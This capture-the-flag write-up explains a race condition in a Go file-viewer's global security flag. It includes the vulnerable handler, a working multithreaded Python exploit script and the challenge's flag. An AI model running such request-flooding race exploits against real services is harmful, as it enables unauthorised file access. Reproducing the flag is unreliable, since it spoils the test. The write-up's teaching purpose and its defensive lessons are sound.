# Shared State of Mind Welcome to the write-up for **Shared State of Mind**. This challenge is a "web" challenge that dives into the dangerous waters of concurrency in Go. It demonstrates why global state in a concurrent environment (like a web server) is a recipe for disaster. We are presented with a "High-Performance File Viewer" that claims to have stripped out "bloatware" like mutex locks. Our goal is to read the `flag.txt` file, which is protected by a security check. --- ## 1. Initial Reconnaissance The challenge provides a URL and a downloadable archive `shared_state_of_mind.tar.xz`. Connecting to the URL gives us a file viewer interface (or API). We can request files using `?file=...`. If we try `?file=worker.go`, we get the source code. If we try `?file=flag.txt`, we get: `Security Check Failed: Forbidden` ## 2. Source Code Analysis The archive contains two key Go files: `gateway.go` and `worker.go`. **`gateway.go`**: This acts as a load balancer/proxy. It assigns each user a unique session and spawns a dedicated `./worker` process for that user. This means our requests are going to a specific instance of the worker application that is assigned just to us. **`worker.go`**: This is where the vulnerability lies. Let's look at how it handles requests: ```go // GLOBAL VARIABLE var checkPassed bool func handler(w http.ResponseWriter, r *http.Request) { filename := r.URL.Query().Get("file") // 1. Security Check if strings.Contains(filename, "flag") { checkPassed = false } else { checkPassed = true } // 2. Logging (simulates delay) logAccess(filename) // 3. Serve File if checkPassed { content, _ := ioutil.ReadFile(filename) w.Write(content) } else { http.Error(w, "Forbidden", 403) } } ``` ## 3. The Vulnerability: Race Condition The variable `checkPassed` is defined as a **global variable** at the package level. In Go, `http.ListenAndServe` creates a new goroutine for every incoming request. This means that if multiple requests come in simultaneously, they all share access to the *same* `checkPassed` variable. This creates a **Race Condition** (specifically a Time-of-Check to Time-of-Use issue): 1. **Request A (Safe)** comes in for `worker.go`. It sets `checkPassed = true`. 2. **Request B (Malicious)** comes in for `flag.txt`. It sets `checkPassed = false`. 3. **Request A** pauses slightly (e.g., during `logAccess` or context switching). 4. **Request B** pauses slightly. 5. **Request A** resumes and potentially overwrites `checkPassed` back to `true` *after* Request B had set it to false, but *before* Request B performs its final check. If we time it right, Request B (requesting the flag) will reach the line `if checkPassed` at the exact moment that Request A has set the global variable to `true`. ## 4. Exploitation strategy To exploit this, we need to flood the server with two types of requests simultaneously using the **same session cookie** (so they hit the same worker process): 1. **Safe Requests:** Repeatedly ask for a allowed file (e.g., `?file=worker.go`). This constantly attempts to set `checkPassed = true`. 2. **Malicious Requests:** Repeatedly ask for `?file=flag.txt`. This attempts to read the flag. We can use a simple Python script with multiple threads to achieve this. ### Exploit Script ```python import threading import requests import sys import time # --- TARGET CONFIGURATION --- TARGET_URL = "http://challenge-url:1320/" print("[*] Initializing Session...") s = requests.Session() try: s.get(TARGET_URL) except requests.exceptions.ConnectionError: print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?") sys.exit(1) if 'ctf_session' not in s.cookies: print("[-] Failed to get session cookie") sys.exit(1) print(f"[+] Session ID: {s.cookies['ctf_session']}") cookie = {'ctf_session': s.cookies['ctf_session']} def do_safe(): while True: try: requests.get(TARGET_URL + "?file=worker.go", cookies=cookie) except: pass def do_exploit(): while True: try: r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie) if "{flag: " in r.text: print(f"\n\n[SUCCESS] Flag Found: {r.text}\n") sys.exit(0) except: pass print("[*] Starting threads... (Press Ctrl+C to stop)") # High volume of safe threads to flip the switch for i in range(10): t = threading.Thread(target=do_safe) t.daemon = True t.start() # Exploit thread for i in range(1): t = threading.Thread(target=do_exploit) t.daemon = True t.start() while True: time.sleep(1) ``` ## 5. The Solution Running the exploit script against the target causes a race condition. Within a few seconds, one of the malicious requests will "win" the race—slipping through the check because a concurrent safe request flipped the global switch to `true`. **Flag:** `{flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}` ## Lessons Learned * **Avoid Global State:** Never use global variables to store request-specific data in a web server. Use local variables or pass data through the function context. * **Concurrency is Hard:** Just because code looks sequential doesn't mean it executes sequentially relative to other requests. * **Thread Safety:** If you must use shared state, always protect it with synchronization primitives like Mutexes, or better yet, use Go's channels to communicate safely. Happy Hacking!